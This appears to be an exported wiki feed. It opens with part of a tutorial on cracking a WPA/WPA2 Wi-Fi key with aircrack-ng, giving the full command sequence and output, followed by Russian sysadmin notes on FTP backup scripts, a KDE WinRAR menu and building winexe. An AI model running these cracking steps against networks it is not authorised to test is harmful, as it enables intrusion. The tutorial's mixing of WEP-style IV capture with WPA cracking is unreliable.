&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;
The first thing to do is looking out for a potential target putting your wireless card into monitor mode using `airmon-ng`. However, it is strongly recommended to `kill` all interfering processes prior to using the aircrack-ng suite.
&lt;/p&gt;

&lt;p&gt;
```ShellSession
# airmon-ng check kill
Killing these processes:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;PID Name
870 dhclient&lt;/pre&gt;

&lt;p&gt;
 1115 wpa_supplicant
```
&lt;/p&gt;

&lt;p&gt;
Then, it is possible to enable the monitor mode used to create another interface (mon0):
&lt;/p&gt;

&lt;p&gt;
```ShellSession
# airmon-ng start wlan0
&lt;/p&gt;

&lt;p&gt;
PHY         Interface       Driver         Chipset
&lt;/p&gt;

&lt;p&gt;
phy0        wlan0           ath9k          Qualcomm Atheros AR9485
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;                             (monitor mode enabled for [phy0]wlan0 on [phy0]mon0)&lt;/pre&gt;

&lt;p&gt;
```
&lt;/p&gt;

&lt;p&gt;
You will notice that “wlan0” has successfully been put into monitor mode.
Then, start `airodump-ng` to look out for networks:
&lt;/p&gt;

&lt;p&gt;
```ShellSession
# airodump-ng mon0
```
&lt;/p&gt;

&lt;p&gt;
Locate the wireless network you want to crack, and note its BSSID and channel from the following output:
&lt;/p&gt;

&lt;p&gt;
```ShellSession
CH 10 ][ Elapsed: 36 s][2019-05-15 18:15
BSSID              PWR  RXQ  Beacons  #Data,  #/s  CH  &lt;abbr title=&quot;Megabyte&quot;&gt;MB&lt;/abbr&gt;  ENC  CIPHER AUTH ESSID
08:00:BF:E6:31:2E  -21  100     5240  178307  338  10  54  WPA  CCMP   PSK  infosec_router
…
```
&lt;/p&gt;

&lt;p&gt;
Note that the top part of the output lists information about APs in range, and the bottom part lists clients connected to the corresponding APs.
&lt;/p&gt;

&lt;p&gt;
### 2. Start airodump-ng to capture the initial vectors
&lt;/p&gt;

&lt;p&gt;
Open another console session to capture the initial vectors generated by the target and to save the result into a file:
&lt;/p&gt;

&lt;p&gt;
```ShellSession
# airodump-ng -c 10 –bssid 08:00:BF:E6:31:2E -w output-file mon0
```
&lt;/p&gt;

&lt;p&gt;
where `-c 10` is the channel for the wireless network, `–bssid 08:00:BF:E6:31:2E` is the MAC address of the AP, `-w output-file` defines the output files that will contain the initialization vectors, and `mon0` is the interface name.
&lt;/p&gt;

&lt;p&gt;
The system responds:
&lt;/p&gt;

&lt;p&gt;
```ShellSession
CH 10 ][ Elapsed: 12 s][2019-05-15 18:16
BSSID              PWR  RXQ  Beacons  #Data,  #/s  CH  &lt;abbr title=&quot;Megabyte&quot;&gt;MB&lt;/abbr&gt;  ENC  CIPHER AUTH ESSID
08:00:BF:E6:31:2E  -21  100     5240  178307  338  10  54  WPA  CCMP   PSK  infosec_router
&lt;/p&gt;

&lt;p&gt;
BSSID              STATION            PWR  Lost  Packets  Probes
08:00:BF:E6:31:2E  00:0F:35:51:AC:22  -21     0   183782
```
&lt;/p&gt;

&lt;p&gt;
After the execution of the command various files will be generated.
&lt;/p&gt;

&lt;p&gt;
### 3. Start aireplay-ng in ARP request replay mode
&lt;/p&gt;

&lt;p&gt;
The classic ARP request replay attack is the most effective way to generate new initialization vectors, and works very reliably. The purpose of this step is to start `aireplay-ng` in a mode which listens for ARP requests then reinjects them back to the access point.
Keep your `airodump-ng` and `aireplay-ng` running, open another terminal and run the ARP request replay attack:
&lt;/p&gt;

&lt;p&gt;
```ShellSession
# aireplay-ng –arpreplay -b 08:00:BF:E6:31:2E -h 00:0F:35:51:AC:22 mon0
&lt;/p&gt;

&lt;p&gt;
Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 618643 packets (got 304896 ARP requests), sent 194947 packets…
```
&lt;/p&gt;

&lt;p&gt;
You can check if the packets are injected by looking at the `airodump-ng` screen.
&lt;/p&gt;

&lt;p&gt;
### Run aircrack-ng to obtain the WPA key
&lt;/p&gt;

&lt;p&gt;
At this point, you should be able to obtain the WPA key from the initialization vectors gathered in the previous steps. To perform this attack you need a wordlist and if the network password is not in the wordfile you will not crack the password. Note that most WPA/WPA2 routers come with strong 12 character random passwords that many users (rightly) leave unchanged. If you are attempting to crack one of these passwords, I recommend using the [WPA-length password lists](&lt;a href=&quot;https://github.com/david-palma/wordlists#passwords-with-wpa-length&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/david-palma/wordlists#passwords-with-wpa-length&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/david-palma/wordlists#passwords-with-wpa-length&lt;/a&gt;).
&lt;/p&gt;

&lt;p&gt;
Open another console session and type:
&lt;/p&gt;

&lt;p&gt;
```ShellSession
# aircrack-ng -a2 -b 08:00:BF:E6:31:2E -w wordlist.txt output*.cap
```
&lt;/p&gt;

&lt;p&gt;
where `-a2` specifies the attack mode for WPA/WPA2-PSK,  `-w wordlist.txt` refers to your own dictionary wordlist, and `output*.cap` selects all output files with `.cap` extension.
&lt;/p&gt;

&lt;p&gt;
This is the output of a successful attack:
&lt;/p&gt;

&lt;p&gt;
```ShellSession
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;                      Aircrack-ng 1.5.2&lt;/pre&gt;

&lt;p&gt;
[00:00:00] 192/1229 keys tested (520.04 k/s)
&lt;/p&gt;

&lt;p&gt;
Time left: 0 seconds                                      15.62%
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;                   KEY FOUND! [ notsecure ]&lt;/pre&gt;

&lt;p&gt;
Master Key     : 42 28 5E 5A 73 33 90 E9 34 CC A6 C3 B1 CE 97 CA
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;               06 10 96 05 CC 13 FC 53 B0 61 5C 19 45 9A CE 63&lt;/pre&gt;

&lt;p&gt;
Transient Key  : 86 D0 43 C9 AA 47 F8 03 2F 71 3F 53 D6 65 F3 F3
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;               86 36 52 0F 48 1E 57 4A 10 F8 B6 A0 78 30 22 1E
               4E 77 F0 5E 1F FC 73 69 CA 35 5B 54 4D B0 EC 1A
               90 FE D0 B9 33 06 60 F9 33 4B CF 30 B4 A8 AE 3A&lt;/pre&gt;

&lt;p&gt;
EAPOL HMAC     : 8E 52 1B 51 E8 F2 7E ED 95 F4 CF D2 C6 D0 F0 68
```
&lt;/p&gt;

&lt;p&gt;
## List of commands
&lt;/p&gt;

&lt;p&gt;
Below you can find the list of all of the commands needed to crack a WPA/WPA2 network.
&lt;/p&gt;

&lt;p&gt;
```
# kill all interfering processes prior to using the aircrack-ng
airmon-ng check kill
&lt;/p&gt;

&lt;p&gt;
# put your network device into monitor mode
airmon-ng start wlan0
&lt;/p&gt;

&lt;p&gt;
# listen for all nearby beacon frames to get target BSSID and channel
airodump-ng mon0
&lt;/p&gt;

&lt;p&gt;
# start listening for the handshake on a new console session
airodump-ng -c 10 –bssid 08:00:BF:E6:31:2E -w output-file mon0
&lt;/p&gt;

&lt;p&gt;
# start the ARP request replay attack
aireplay-ng –arpreplay -b 08:00:BF:E6:31:2E -h 00:0F:35:51:AC:22 mon0
&lt;/p&gt;

&lt;p&gt;
# run aircrack-ng to obtain the WPA key
aircrack-ng -a2 -b 08:00:BF:E6:31:2E -w wordlist.txt output*.cap
```
&lt;/p&gt;

&lt;p&gt;
## License
&lt;/p&gt;

&lt;p&gt;
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
&lt;/p&gt;

&lt;p&gt;
## Disclaimer
&lt;/p&gt;

&lt;p&gt;
This tutorial has been made for educational purposes only, I don&amp;#039;t promote malicious practices and I will not be responsible for any illegal activities.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Simple sniffing and cracking&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;simple_sniffing_and_cracking&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;2748-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 24 Feb 2026 10:21:47 +0000</pubDate>
        </item>
        <item>
            <title>wiki_backup</title>
            <link>https://wiki.autosys.tk/linux_faq/wiki_backup</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;бекап_на_удаленный_ftp&quot;&gt;Бекап на удаленный ftp&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Скрипт для бекапа сайта на удаленный сервер по &lt;strong&gt;&lt;abbr title=&quot;File Transfer Protocol&quot;&gt;FTP&lt;/abbr&gt;&lt;/strong&gt;. &lt;br/&gt;

Скрипт бекапит всю рабочую директорию пофайлово (для того, чтобы сайт сразу после бекапа был доступен ан резервной площадке - бесплатного хостера), а также делает общий шифрованный архив, разбивает его на небольшие куски и кладет в директорию с текущей датой. &lt;br/&gt;

Скрипт проверяет, что глубина архива (число директорий с полным шифрованным архивом) не превышает заданного лимита и удаляет старое.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
dir_to_backup=/pve-data/kubernetes_volumes/wiki-data
backup_name_prefix=wiki
ftpserver=ftp.server.com
username=ftp_login
password=ftp_pass
currentdate=$(date +%d-%m-%Y_%H_%M)
remote_www_dir=/htdocs
backup_depth_days=10
encryption_password=enc_pass
tmp_dir=/pve-data/tmp
tmp_arc_dir=$tmp_dir/$backup_name_prefix_$currentdate


#Get list of directories with full encrypted backups
dirs=`echo &amp;quot;lftp -e &amp;#039;set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; cls --sort=date $remote_www_dir/$backup_name_prefix; bye;&amp;#039; ftp://$username:$password@$ftpserver&amp;quot; | /bin/bash`
dirs=(${dirs// / })
#check number of directories and delete oldest
if [[ ${#dirs[@]} -gt $backup_depth_days ]]; then
        for ((i = $backup_depth_days; i &amp;lt; ${#dirs[@]}; i++))
        {
                echo &amp;quot;lftp -e &amp;#039;set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; rm -r -f ${dirs[$i]}; bye;&amp;#039; ftp://$username:$password@$ftpserver&amp;quot; | /bin/bash
        }
fi

#Create tmp folder
mkdir --parents $tmp_arc_dir
#Disable URL rewrites
sed -i &amp;#039;/userewrite/s/1/0/&amp;#039; $dir_to_backup/conf/local.php
#Make ENCRYPTED archive
tar -cpf - --use-compress-program=pigz $dir_to_backup | openssl enc -aes-192-cbc -pass pass:$encryption_password -out $tmp_arc_dir/$backup_name_prefix-$currentdate.tar.gz
#Enable URL rewrites
sed -i &amp;#039;/userewrite/s/0/1/&amp;#039; $dir_to_backup/conf/local.php
#Split archive to small parts
cd $tmp_arc_dir
split -d -a 3 -b 8000000 ./$backup_name_prefix-$currentdate.tar.gz
#Calculate md5 checksum
md5sum $tmp_arc_dir/$backup_name_prefix-$currentdate.tar.gz &amp;gt; $tmp_arc_dir/$backup_name_prefix-$currentdate.tar.gz.md5
rm -f $tmp_arc_dir/$backup_name_prefix-$currentdate.tar.gz
#Put archive parts to remote ftp and remove tmp dir
echo &amp;quot;lftp -e &amp;#039;set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; mkdir $remote_www_dir/$backup_name_prefix; mkdir $remote_www_dir/$backup_name_prefix/$currentdate; mirror -c -R $tmp_arc_dir $remote_www_dir/$backup_name_prefix/$currentdate; bye;&amp;#039; ftp://$username:$password@$ftpserver&amp;quot; | /bin/bash
rm -Rf $tmp_arc_dir

#Mirror current site to remote server
echo &amp;quot;lftp -e &amp;#039;set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; mirror --use-pget-n=10 -c -R -e --exclude=data/tmp/captcha/ --exclude=data/cache/  $dir_to_backup $remote_www_dir; bye;&amp;#039; ftp://$username:$password@$ftpserver&amp;quot; | /bin/bash
#Disable URL rewrites
sed -i &amp;#039;/userewrite/s/1/0/&amp;#039; $dir_to_backup/conf/local.php
#replace remote conf.php with disabled rewrites
echo &amp;quot;lftp -e &amp;#039;set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; put -O $remote_www_dir/conf $dir_to_backup/conf/local.php; bye;&amp;#039; ftp://$username:$password@$ftpserver&amp;quot; | /bin/bash
#Enable URL rewrites
sed -i &amp;#039;/userewrite/s/0/1/&amp;#039; $dir_to_backup/conf/local.php&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0411\u0435\u043a\u0430\u043f \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 ftp&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0431\u0435\u043a\u0430\u043f_\u043d\u0430_\u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439_ftp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-3713&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;восстановление_из_текущей_живой_копии_у_внешнего_хостера&quot;&gt;Восстановление из текущей живой копии у внешнего хостера&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
backup_name_prefix=wiki
ftpserver=ftp.unaux.com
username=unaux_user
password=superpassword
remote_www_dir=/htdocs
encryption_password=superencryptionpassword

echo &amp;quot;lftp -e &amp;#039;set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; mirror -c $remote_www_dir $dir_to_backup; bye;&amp;#039; ftp://$username:$password@$ftpserver&amp;quot; | /bin/bash&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0438\u0437 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0436\u0438\u0432\u043e\u0439 \u043a\u043e\u043f\u0438\u0438 \u0443 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0445\u043e\u0441\u0442\u0435\u0440\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435_\u0438\u0437_\u0442\u0435\u043a\u0443\u0449\u0435\u0439_\u0436\u0438\u0432\u043e\u0439_\u043a\u043e\u043f\u0438\u0438_\u0443_\u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e_\u0445\u043e\u0441\u0442\u0435\u0440\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;3714-4211&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;восстановлние_из_полного_шифрованного_архива&quot;&gt;Восстановлние из полного шифрованного архива&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
backup_name_prefix=wiki
ftpserver=ftp.unaux.com
username=unaux_user
password=superpassword
remote_www_dir=/htdocs
encryption_password=superencryptionpassword

restore_dir=~/restore

dirs=`echo &amp;quot;lftp -e &amp;#039;set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; cls --sort=date $remote_www_dir/$backup_name_prefix; bye;&amp;#039; ftp://$username:$password@$ftpserver&amp;quot; | /bin/bash`
dirs=(${dirs// / })
latest_backup_dir=${dirs[0]}

mkdir -p $restore_dir
echo &amp;quot;lftp -e &amp;#039;set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; mirror -c $latest_backup_dir $restore_dir; bye;&amp;#039; ftp://$username:$password@$ftpserver&amp;quot; | /bin/bash

archive_filename=`ls $restore_dir/*md5 | sed &amp;#039;s/.md5//&amp;#039;`
cat $restore_dir/x* &amp;gt; $archive_filename

openssl enc -in $archive_filename -d -aes-192-cbc -pass pass:$encryption_password | sudo tar -xzvf - -C $restore_dir&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u043d\u0438\u0435 \u0438\u0437 \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0430\u0440\u0445\u0438\u0432\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u043d\u0438\u0435_\u0438\u0437_\u043f\u043e\u043b\u043d\u043e\u0433\u043e_\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e_\u0430\u0440\u0445\u0438\u0432\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;4212-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 24 Nov 2023 11:15:49 +0000</pubDate>
        </item>
        <item>
            <title>winerar_winrar_service_menu_in_kde5</title>
            <link>https://wiki.autosys.tk/linux_faq/winerar_winrar_service_menu_in_kde5</link>
            <description>
&lt;p&gt;
В KDE 5.5 мне не хватало WinRar с его возможностью одним кликом ивлекать файлы из виндовых .exe инсталляторов.&lt;br/&gt;

К счастью, нашелся &lt;strong&gt;winerar&lt;/strong&gt; - &lt;a href=&quot;https://dl.opendesktop.org/api/files/download/id/1460731697/67571-winerar.tar.gz&quot; class=&quot;urlextern&quot; title=&quot;https://dl.opendesktop.org/api/files/download/id/1460731697/67571-winerar.tar.gz&quot; rel=&quot;ugc nofollow&quot;&gt;https://dl.opendesktop.org/api/files/download/id/1460731697/67571-winerar.tar.gz&lt;/a&gt; или тут: &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/67571-winerar.tar.gz&quot; class=&quot;media mediafile mf_gz&quot; title=&quot;linux_faq:67571-winerar.tar.gz (1.3 KB)&quot;&gt;67571-winerar.tar.gz&lt;/a&gt; &lt;br/&gt;

Он создает привычное &lt;strong&gt;Winrar&lt;/strong&gt; меню в &lt;strong&gt;dolphin&lt;/strong&gt;, однако у меня оно не заработало. я копировал файлик куда нужно, однако результата не было. &lt;br/&gt;

Немного покопавшись в онторетах я нашел что нужно сделать.&lt;br/&gt;

В KDE5 изменились папки. в которых хранятся настройки &lt;strong&gt;ServiceMenus&lt;/strong&gt;.&lt;br/&gt;

Для того, чтобы все работало устанавливаем winrar (или копируем папку с виндовой машины в &lt;strong&gt;~/.wine/drive_c/Program/ Files/WinRAR/&lt;/strong&gt;), потом копируем файлик &lt;strong&gt;winerar_kde4.desktop&lt;/strong&gt; в &lt;strong&gt;/usr/share/kservices5/ServiceMenus/&lt;/strong&gt; и затем выполняем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kbuildsycoca5&lt;/pre&gt;

&lt;p&gt;
В результате в &lt;strong&gt;Dolphin&lt;/strong&gt; при правой кнопкой мыши появляется меню &lt;strong&gt;WineRar&lt;/strong&gt;. 
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>winexe1.1</title>
            <link>https://wiki.autosys.tk/linux_faq/winexe1.1</link>
            <description>
&lt;p&gt;
Вот тут есть собранный пакет для CentOS 7: &lt;a href=&quot;http://opensource.is/repo/testing/rhel7/x86_64/winexe-1.01-1.git.11.d48449a.x86_64.rpm&quot; class=&quot;urlextern&quot; title=&quot;http://opensource.is/repo/testing/rhel7/x86_64/winexe-1.01-1.git.11.d48449a.x86_64.rpm&quot; rel=&quot;ugc nofollow&quot;&gt;http://opensource.is/repo/testing/rhel7/x86_64/winexe-1.01-1.git.11.d48449a.x86_64.rpm&lt;/a&gt;
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;сборка_winexe_под_ubuntu_1604_октябрь_2017&quot;&gt;Сборка winexe под Ubuntu 16.04 (октябрь 2017)&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Есть замечательная утилита &lt;strong&gt;winexe&lt;/strong&gt; - аналог &lt;strong&gt;psexec&lt;/strong&gt;, позволяющая запускать команды на windows-хостах из командной строчки linux. &lt;br/&gt;

Однако, долгое время у меня не получалось собрать версию &lt;strong&gt;winexe 1.1&lt;/strong&gt;, которая может нормально работать с новыми &lt;strong&gt;Windows 2012&lt;/strong&gt; и далее. &lt;br/&gt;

При сборке с shared-библиотеками появлялась ошибка &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Checking for library cli-ldap-samba4     : not found &lt;/pre&gt;

&lt;p&gt;
И вот наконец получилось. &lt;br/&gt;

нашел рецеп тут: &lt;a href=&quot;https://sourceforge.net/p/winexe/bugs/77/&quot; class=&quot;urlextern&quot; title=&quot;https://sourceforge.net/p/winexe/bugs/77/&quot; rel=&quot;ugc nofollow&quot;&gt;https://sourceforge.net/p/winexe/bugs/77/&lt;/a&gt; &lt;br/&gt;

Ставим то что нужно для сборки и делаем необходимые симлинки. 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get -y install python2.7 gcc-mingw-w64 libtevent-dev samba-dev libgnutls-dev libacl1-dev libldap2-dev
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/libcli-ldap.so.0 /usr/lib/x86_64-linux-gnu/samba/libcli-ldap-samba4.so.0 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba.so.0 /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba-samba4.so.0 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/liberrors.so.0 /usr/lib/x86_64-linux-gnu/samba/liberrors-samba4.so.0 &lt;/pre&gt;

&lt;p&gt;
Скачиваем - &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/u-mstowe-winexe-1.1.zip&quot; class=&quot;media mediafile mf_zip&quot; title=&quot;linux_faq:u-mstowe-winexe-1.1.zip (131.4 KB)&quot;&gt;u-mstowe-winexe-1.1&lt;/a&gt; или вот поновее (но эта версия не собирается): &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/u-mstowe-winexe-c2fcdf2f2500d15b696ce0c7077ab624d24aaac9.zip&quot; class=&quot;media mediafile mf_zip&quot; title=&quot;linux_faq:u-mstowe-winexe-c2fcdf2f2500d15b696ce0c7077ab624d24aaac9.zip (190.8 KB)&quot;&gt;u-mstowe-winexe-c2fcdf2f2500d15b696ce0c7077ab624d24aaac9.zip&lt;/a&gt; &lt;br/&gt;

&lt;br/&gt;

Версия на данный момент актуальная не собирается (по крайней мере под &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt;):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget https://sourceforge.net/code-snapshots/git/u/u/u/mstowe/winexe.git/u-mstowe-winexe-c2fcdf2f2500d15b696ce0c7077ab624d24aaac9.zip&lt;/pre&gt;

&lt;p&gt;
или
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;git clone https://git.code.sf.net/u/mstowe/winexe u-mstowe-winexe&lt;/pre&gt;

&lt;p&gt;
Итак - распаковываем - &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/u-mstowe-winexe-1.1.zip&quot; class=&quot;media mediafile mf_zip&quot; title=&quot;linux_faq:u-mstowe-winexe-1.1.zip (131.4 KB)&quot;&gt;u-mstowe-winexe-1.1&lt;/a&gt;. &lt;br/&gt;

Собираем :
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd u-mstowe-winexe/source 
sudo apt-get -y install python2.7 gcc-mingw-w64 libtevent-dev samba-dev libgnutls-dev libacl1-dev libldap2-dev
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/libcli-ldap.so.0 /usr/lib/x86_64-linux-gnu/samba/libcli-ldap-samba4.so.0 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba.so.0 /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba-samba4.so.0 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/liberrors.so.0 /usr/lib/x86_64-linux-gnu/samba/liberrors-samba4.so.0 
./waf configure build
build/winexe --help&lt;/pre&gt;

&lt;p&gt;
И потом кладем скомпилированную &lt;strong&gt;winexe&lt;/strong&gt; в &lt;strong&gt;/usr/bin&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo cp build/winexe /usr/bin/&lt;/pre&gt;

&lt;p&gt;
Проверено на &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0431\u043e\u0440\u043a\u0430 winexe \u043f\u043e\u0434 Ubuntu 16.04 (\u043e\u043a\u0442\u044f\u0431\u0440\u044c 2017)&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0431\u043e\u0440\u043a\u0430_winexe_\u043f\u043e\u0434_ubuntu_1604_\u043e\u043a\u0442\u044f\u0431\u0440\u044c_2017&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;159-2994&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;проблемы&quot;&gt;Проблемы&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При сборке возникает ошибка:
&lt;/p&gt;
&lt;div class=&quot;table sectionedit3&quot;&gt;&lt;table class=&quot;inline&quot;&gt;
	&lt;tr class=&quot;row0&quot;&gt;
		&lt;th class=&quot;col0&quot;&gt;&lt;strong&gt;Checking for library cli-ldap-samba4     : not found 
Checking for library :libcli-ldap-samba4.so.0 : not found 
Build of shared winexe                        : disabled 
Cannot continue! Please either install Samba shared libraries and re-run waf, or download the Samba source code and re-run waf with the “–samba-dir” option.
(complete log in /mnt/hdd/Downloads/u-mstowe-winexe-9f5b8251e85dbdcf44fac4e7613fba800152e41b/source/build/config.log)&lt;/strong&gt;&lt;/th&gt;
	&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;table&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;table&amp;quot;,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;3079-3531&amp;quot;} --&gt;
&lt;p&gt;
Это означает, что сборщик не может найти библиотеки. Чтобы поправить - нужно создать симлинки:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo ln -s /usr/lib/x86_64-linux-gnu/samba/libcli-ldap.so.0 /usr/lib/x86_64-linux-gnu/samba/libcli-ldap-samba4.so.0 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba.so.0 /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba-samba4.so.0 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/liberrors.so.0 /usr/lib/x86_64-linux-gnu/samba/liberrors-samba4.so.0 &lt;/pre&gt;

&lt;p&gt;
После обновления &lt;strong&gt;Samba&lt;/strong&gt; с версии &lt;strong&gt;4.3.9&lt;/strong&gt; до версии &lt;strong&gt;4.3.11&lt;/strong&gt;, &lt;strong&gt;winexe&lt;/strong&gt; перестал запускаться с ошибками:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;winexe: /usr/lib/x86_64-linux-gnu/samba/libcli-ldap.so.0: version `SAMBA_4.3.9_UBUNTU&amp;#039; not found (required by winexe)
winexe: /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba.so.0: version `SAMBA_4.3.9_UBUNTU&amp;#039; not found (required by winexe)
winexe: /usr/lib/x86_64-linux-gnu/samba/liberrors.so.0: version `SAMBA_4.3.9_UBUNTU&amp;#039; not found (required by winexe)&lt;/pre&gt;

&lt;p&gt;
Помогла пересборка &lt;strong&gt;winexe&lt;/strong&gt; заново вышеприведенными командами, хотя, я думаю, можно было просто пересоздать ссылки:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get -y install python2.7 gcc-mingw-w64 libtevent-dev samba-dev 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/libcli-ldap.so.0 /usr/lib/x86_64-linux-gnu/samba/libcli-ldap-samba4.so.0 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba.so.0 /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba-samba4.so.0 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/liberrors.so.0 /usr/lib/x86_64-linux-gnu/samba/liberrors-samba4.so.0 &lt;/pre&gt;

&lt;/div&gt;
